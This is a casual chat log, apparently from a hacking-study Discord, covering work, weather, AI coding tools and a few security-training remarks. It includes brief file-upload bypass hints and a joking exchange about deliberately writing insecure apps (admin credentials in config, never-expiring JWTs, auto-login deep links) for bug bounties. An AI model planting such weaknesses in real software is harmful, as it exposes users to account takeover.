So gotta keep backups

[native plume]

Never stay up late if you actually want to wake up that early

[devout sail]

Muje goes to snooze for 10m
To turn them off i have to swipe, which is harder to do, snooze works from clicking butt

[native plume]

I swipe too but I guess it's easy for me

[devout sail]

I try and fall asleep around 3am

[native plume]

Just place your phone in a way you can swipe and go back to sleep 💀

[native plume]

Way too late

Though sometimes I stay up that late

[devout sail]

How about I wake you up personally

With my whip

[native plume]

But yesterday I slept around 8 pm

[native plume]

That will make me stay down not wake up lmao

[devout sail]

Are you happy this year

[devout sail]

I forgot you enjoy it

[pine hedge]

I wanted to know can I use metasploitable 2’s vulnerable state to cross reference or compare against a secure system to see if a particular technology is vulnerable

[native plume]

No because I literally got 5 questions about work

These guys should know that I should get some rest

[limber plover]

Hi, happy new year 🙂

[devout sail]

See if someone knew here, they would have told you, maybe ask in hacking general channel

[native plume]

Happy new year

[pine hedge]

I am in general am I not

[devout sail]

How rich are you
The way you work, i wouldn't be surprised if you say, you own 4 mansion and have 3 wife and 2 dozen kids

[devout sail]

#hacker-lounge

[native plume]

I don't even have a car

[raw lichen]

Nobody here is "my father gave me a small loan of a million dollars." 🙁

[devout sail]

I see
All of that stuff and you cry about car

[native plume]

Nah but you went straight into the mansion stuff lmao

[devout sail]

Just work at better place then

[devout sail]

[native plume]

Maybe I should

[devout sail]

Yeah and take that guy with you

I forgot his name

Your assistant

[native plume]

Ehh that guy

Make sure you give him a whip too

[devout sail]

He's gone?

[native plume]

He's here

Just needs a little bit of motivation

[devout sail]

Yeah he can whip you too then

I don't like others hitting you

So nop

[silver forge]

why can't I get whipped, too

[devout sail]

Animal aboose

[native plume]

Getting whipped is specific to me

[devout sail]

Hmm what happened

Why can't u be the hot and strict boss

And scare and motivate him

[native plume]

We all need some rest at the end of year

But yeah tasks keep growing

[scenic maple]

is this what peak ragebait looks like?

[devout sail]

High level atleast cuz I don't understand it

[scenic maple]

i may trust people easily but i will never trust module assesment makers

[native plume]

My biggest ragebait so far is moving a Jira ticket to "Done" but it's filled with bugs

[scenic maple]

after all the things they have done to me

[devout sail]

You are "working" for some company
So i don't understand that

You should only work for the thing you are supposed to and that shouldn't be something that takes up 7 days a week 💀

[native plume]

File Uploads assessment made me learn a new language

[devout sail]

Oh which one

[silver forge]

mine is "couldn't reproduce" (because the support engineer is incompetent)

[scenic maple]

there was this one time i was fuzzing with ffuf
but it didnt show any diff in size
but when you did in burp it actually worked for whatever the frickin reason

i guess it was a edge case error

[native plume]

Idk but I sweared a lot back then lmao

[native plume]

Funny thing is I'm the one opening the tickets

[devout sail]

Problem of knowing alot of language

[scenic maple]

i asked chatgpt if the file name made using php is random he told me its totally random and no way to guess

[devout sail]

So you are actually smart and not just disgustang weeb

[scenic maple]

it was just md5sum of original file name

[scenic maple]

arent u a disghusting weeb too?

[native plume]

Yeah abusing file names is impossible if the server renames it, but for sure the server won't change the content of file, you just have to abuse this

[devout sail]

So we are reaching at that point where we ask AI for stuff and then confirm it's wrong

[native plume]

Also extension bypassing is important too

[devout sail]

Different

[scenic maple]

how so

[native plume]

Asking AI for boxes is just a ragebait

[scenic maple]

peak sad life

finally when you get replaced and get basic income the big evil tech corps made ai bad

is this the biggest conspiracy theory of 2026?

[native plume]

I've seen so sad stuff while using AI that I can't even describe anymore

[upbeat tangle]

And we become so dumb and numb in the heads that we sit and laugh at 30 minute stream of someone showing their butts, laughing like crazy. Like that old movie "idiocracy"

[silver forge]

time to vibe code

[scenic maple]

https://tenor.com/view/cat-meme-angry-black-sad-gif-13761237589791439872

[devout sail]

For your next ticket @native plume

[upbeat tangle]

The conspiracy theory of 2026 is that AI only creates slop. Normies will call us tinfoil hatters and then 2 years from now we will be proven right

[native plume]

And still that thing isn't working btw

And yeah there's even more of that but it's not Claude

But I was desperate enough to use it

[scenic maple]

is bro spending money on claude

[native plume]

Only when desperate

[devout sail]

Bro is rich

[native plume]

Turns out even Claude isn't ready

[scenic maple]

u should hire me bro you are too rich

[devout sail]

Wait

Not bro

[native plume]

Guys it's grok other times 😭

[scenic maple]

imagine having so much money to waste on claude

[molten bobcat]

Gork is this true

[devout sail]

Nowadays people just using it to change pictures

[native plume]

I wouldn't be really sad if actually Claude fixed the thing for me

[molten bobcat]

I don't use any of it at all

[devout sail]

@grok whip @native plume

[molten bobcat]

Due to my Tegridy

[native plume]

But maybe it's the time to do stuff by hand for that specific thing

[scenic maple]

a macbook user paying for claude is mega rich imo

cause even after the apple financial disaster of a thing you have

[devout sail]

Ok guys I got a great idea

[scenic maple]

you still got money left to waste on claude

[devout sail]

I'm gonna comment on twitter after years

[silver forge]

claude doesn't even cost that much

[native plume]

I mean I don't vibecode that much

[devout sail]

Gonna comment on chronos art and ask grok to add whip to it

[scenic maple]

isnt that the most costly model out of the big 4?

[native plume]

Only like 2 projects maybe

It's from Anthropic

[upbeat tangle]

Did someone say macbook?

[scenic maple]

then why do you pay for it?

https://tenor.com/coWUcTdxoWH.gif

[native plume]

I'm cornered lmao

The thing is I have multiple projects to do

[scenic maple]

@devout sail do it

[plush mirage]

[native plume]

It gets really hard to do everything by hand

[upbeat tangle]

you guys should see my setup. its 10 year old parts held together with ductape

[native plume]

And as long as I code review the thing then it's good

[plush mirage]

[scenic maple]

wait i have some good code

let me see if i can find

[native plume]

Don't tell me that's the code sent by paint

I can't even remember how scary it was

[scenic maple]

its by copilot

this is in a react project too

[native plume]

Holy getElementById

Ohh no

This is bad

This is really bad

[scenic maple]

who knows maybe copilot read paints coworkers code

[scenic maple]

u hating cause u cand do this

[native plume]

I wouldn't have said anything if it was a simple Wordpress template though

[upbeat tangle]

@scenic maple types condes while sleeping, hes a brofessional

[native plume]

I wonder what's the result 💀

[obtuse fern]

can we not

[molten bobcat]

Heya Marcie

[devout sail]

Oh that was bad?

[obtuse fern]

yes

[devout sail]

No result

[devout sail]

Ok

[native plume]

Alright

[scenic maple]

send him to the gulag

[obtuse fern]

contrary to popular belief, whipping someone is bad -_- and at the very least stretches into non-pg-13 territory

[native plume]

Now I have to revive another project

Hopefully I won't lose my mind too

[scenic maple]

its a crud app anyway

i wonder what fancy people are doing

[native plume]

It's a really fancy crud app too

[devout sail]

[molten bobcat]

Work is likely gonna be very slow today I might have time to study

[devout sail]

What about rubber band

[scenic maple]

i really dislike the idea of "programming" being just translating business needs to code

[terse dirge]

Does bro work for Mr Burns?? Who the hell works the day after new years eve?

[molten bobcat]

I worked yesterday too

[devout sail]

Same

[native plume]

It's sad but we get paid for it hopefully

[upbeat tangle]

c1oud is probably american

[devout sail]

1 more day

[molten bobcat]

I had Christmas week off

[upbeat tangle]

they dont have vacation in america

[molten bobcat]

No worries

[scenic maple]

it was in this vid

he said translating business needs shouldnt even be called programming

i kinda agree

[molten bobcat]

I'm happy to be workin I was getting bored lol

[scenic maple]

altho the stream chat started asking funny shit

[molten bobcat]

Programming is for way more than "a businesses needs" lmao

[devout sail]

I got cyber's curse
Images won't load :c

[native plume]

But not being able to translate business needs then you can't really program properly for clients

[devout sail]

Did u get better interest?

Internet

[native plume]

You can still program though

[scenic maple]

well thats what i am looking for 90% of people just do that or atleast 90% of people who are programmers and employed and that i know of

[undone fossil]

I mean it is the monetisation route

[scenic maple]

thats when we become broke

it just feels like a chroe to me

i want to do fncy stuff

but clients dont want that so i cant do it

[undone fossil]

Yeah depends what you get to dev

I think devving for clients would be far less interesting imo

Rather than for a product

[scenic maple]

i mean surely the stuff you work at is more fancy than what me and chronos do

[undone fossil]

Idk what chronos does but maybe

[scenic maple]

web dev

[molten bobcat]

I'm staring at an empty inbox watching auto replies come in

Help

[native plume]

Mostly webdev but I do mobile sometimes

[undone fossil]

Maybe then, I don’t have to touch js so it’s a good time to be alive

[devout sail]

Hehe yougot competition @native plume

[scenic maple]

guilty of using react native

[native plume]

Everytime I I get the chance to revive that mobile project I get another mess with web

[native plume]

It's actually Flutter

[upbeat tangle]

that same dude sent the same message to me

[scenic maple]

so u arent a full soy dev

was that a unsolicited dm?

[molten bobcat]

Half soy

[native plume]

Dang these guys are scary

[devout sail]

Got an interview soon on mobile security, we can team up, you make bad code and I find them and we split 10/90 (u/me)

[native plume]

Bad code means a lot of things

[scenic maple]

thats not a bad offer

[scenic maple]

😏

[native plume]

I can write code that breaks everywhere if you want

[devout sail]

I only get unsolicited 😔
But it's alright no mutuals now

[scenic maple]

friends no talk to u?

[devout sail]

Bad enough to make it look I worked hard to find

[devout sail]

I reply in days :D

[scenic maple]

put the admin creds in a config file

[devout sail]

Unless it's cyber chronos

[undone fossil]

AndroidManifest pls ty

[native plume]

I'll just make the JWT never expire

And no JWT blacklisting

[molten bobcat]

[undone fossil]

Also add a deep link for auto login

Thanks !

[native plume]

That should be enough for you to have fun

[molten bobcat]

How about we just remove the authentication layer all together

[scenic maple]

unironically tho check this
https://mas.owasp.org/MASTG/
and the htb path

[molten bobcat]

FUCK IT WHY NOT INVITE THEM IN

[native plume]

I have to get extra money for auth pages

[molten bobcat]

THESE VAMPIRES LOOK TRUSTWORTHY

[scenic maple]

as long as they cant guess the url we are safe

[devout sail]

I just scrolled the chat and found cyberchrommium sent me unsolicited DM at first
Can we ban her?

[scenic maple]

is that a user id

or just chronos

[devout sail]

@native plume this

[native plume]

What is this

[scenic maple]

ru sure

[molten bobcat]

Lmaooooo

[scenic maple]

cause we take complaints seriously

[molten bobcat]

Hopeslop

[terse dirge]

what's "hopeslop"?

[devout sail]

Oh nop nop, i report properly when I get "bad" unsolicited DMs

[scenic maple]

pick a side bro

[terse dirge]

I'm unemployed but I'm not THAT unemployed tbh

[undone fossil]

I am perpetually in the middle

[native plume]

I'm the driver that's going to jump of the hill

[devout sail]

And banning cyber would ruin my fun

[upbeat tangle]

you drive there in the winter with summer wheels

[devout sail]

I don't even know about this
Changing tyres for season

[scenic maple]

owasp has a lot of good hackers but no ux designers

[upbeat tangle]

Then you live in a great climate

[molten bobcat]

Snow tires are indeed a thing for colder climates

[devout sail]

When i got my bike, a huge key got stuck inside it
And I've been driving it with same tyre

[native plume]

My hands are freezing but no snow

[undone fossil]

Same

Very sad

[molten bobcat]

I can hold ur hand

[devout sail]

https://tenor.com/view/holding-hands-romantic-couple-together-gif-9827809490013420194

[scenic maple]

[undone fossil]

Stay back

[scenic maple]

that is a flammable armor

[devout sail]

We rarely get below 10°C
And that too in winter nights
High can go around 45 ig or maybe more

[scenic maple]

anything over 40 is unberable

[upbeat tangle]

the coldest i ever had in my whole life was -33 celsius i think

[devout sail]

The coldest I've been is -25

Went into a huge freezer

Without jacket

Came back with swollen finger

With rings on it, so it was very painful

[molten bobcat]

Frostbite in minutes is not great

[scenic maple]

do you still have that finger

[terse dirge]

@exotic pendant ping!

[devout sail]

I was lazy and thought few minutes would barely hurt 💀

[upbeat tangle]

Normal winter is -10 to -15 in Sweden usually, but some years it can go -20 -25 and even like i had -30 and worse

[silver forge]

I spent a week camping in forest at -40C

[devout sail]

Yep, I've survived worse shit

[molten bobcat]

Frost owes me an apple fritter get that mf

[devout sail]

Can u do the same in +40 👁️👁️

[scenic maple]

how did u survive

[devout sail]

He probably made one of those things

[native plume]

-40C!!!? Holy sh-

[silver forge]

eating a lot, moving, not being naked

[native plume]

Bro I barely survive at 5C

[devout sail]

Insert pee ice gif

[scenic maple]

no apes?

[native plume]

Not even negative

[silver forge]

oh I was there with 100 apes alright

[scenic maple]

i see now i believe

[terse dirge]

it's pretty cloudy right now it's in the 60s

[devout sail]

Cold is scarier than hot weather 💀

[native plume]

Like I can't even move if it's cold

[scenic maple]

i mean both kills people but i think cold kills more

[terse dirge]

wait till you hear about arizona summers

[silver forge]

cold is much easier actually. you can always warm yourself up. cooling yourself is much, much, harder

[native plume]

My bones would shatter from the cold

[rapid badger]

I slept outside at -20 with almost no gear once.
Wim Hof breathing saved my ass

[scenic maple]

wwhy tho

was there no shelter around?

[devout sail]

What's that

[native plume]

I bath using hot water at summer

[devout sail]

Lie

[scenic maple]

its a breathing technique

[silver forge]

also, some c* sent a box of apples for breakfast one morning. great, apple icicles.

[native plume]

I can't even use cold water it's too much

[devout sail]

You are a weeb and they don't shower

[native plume]

But I drink cold water though

[spring holly]

silly question for the challenges is there a way to get the files on htb vm without doing manual transfer

[native plume]

I am not lmao

[native plume]

You can copy the link of the download

And then wget the file

[spring holly]

alr ty

[devout sail]

I do opposite
I drink normal water but won't heat water (got no geyser so have to heat up by myself) so i just shower with cold water

[native plume]

I can't even move if I bath with cold water

[devout sail]

It's just like 2 min of shivering and everything becomes normal

The only problem is when doing hair care

That shit takes me almost an hour

So the shivering timer resets and have to endure more

[native plume]

Hair care is a decent topic

[scenic maple]

chronos might actually be a girl

[devout sail]

I used to hate shampoo and all but now that I'm back to growing it
I need to use fancy aah shampoo

[scenic maple]

or he might be going bald

[native plume]

No I have hair lmao

[devout sail]

On head?

[scenic maple]

that leaves us with one option

[scenic maple]

great question

[devout sail]

I might oil my hair tomorrow even tho it ruins my whole day

I frogot the oil joey suggested

[ornate ibex]

Good Night!

[scenic maple]

dont recommend oil

[devout sail]

[ornate ibex]

I heat it daily , got no geyser as well.

[native plume]

I used to put oil on my hair too

[scenic maple]

chronos has been real quite after the hair question

[rapid badger]

No shelter. All I had was a 80l backpack to lay on and a thin blanket. Build little snow walls to stop the wind.
Fun night

[native plume]

Heating can damage the hair though, like if you do it too much

[devout sail]

I am lazy

[native plume]

I just have no comments lmao

[scenic maple]

https://tenor.com/view/dexter-gif-1878760417600646737

[devout sail]

I thought he went to take pics to send me

[ornate ibex]

How lazy are you? You ain't moving each molecule in water to get it hot, right? Not that much work is needed. Just fill the water and heat it lol.

[scenic maple]

he went to see where else his hair was

[devout sail]

I sleep thirsty instead of getting water
Or not pee before sleeping

[ornate ibex]

u gonna get stones

[scenic maple]

gems and rubies?

[ornate ibex]

kidney stones

[native plume]

I wonder if I can still get chips

[devout sail]

I remember one lazy incident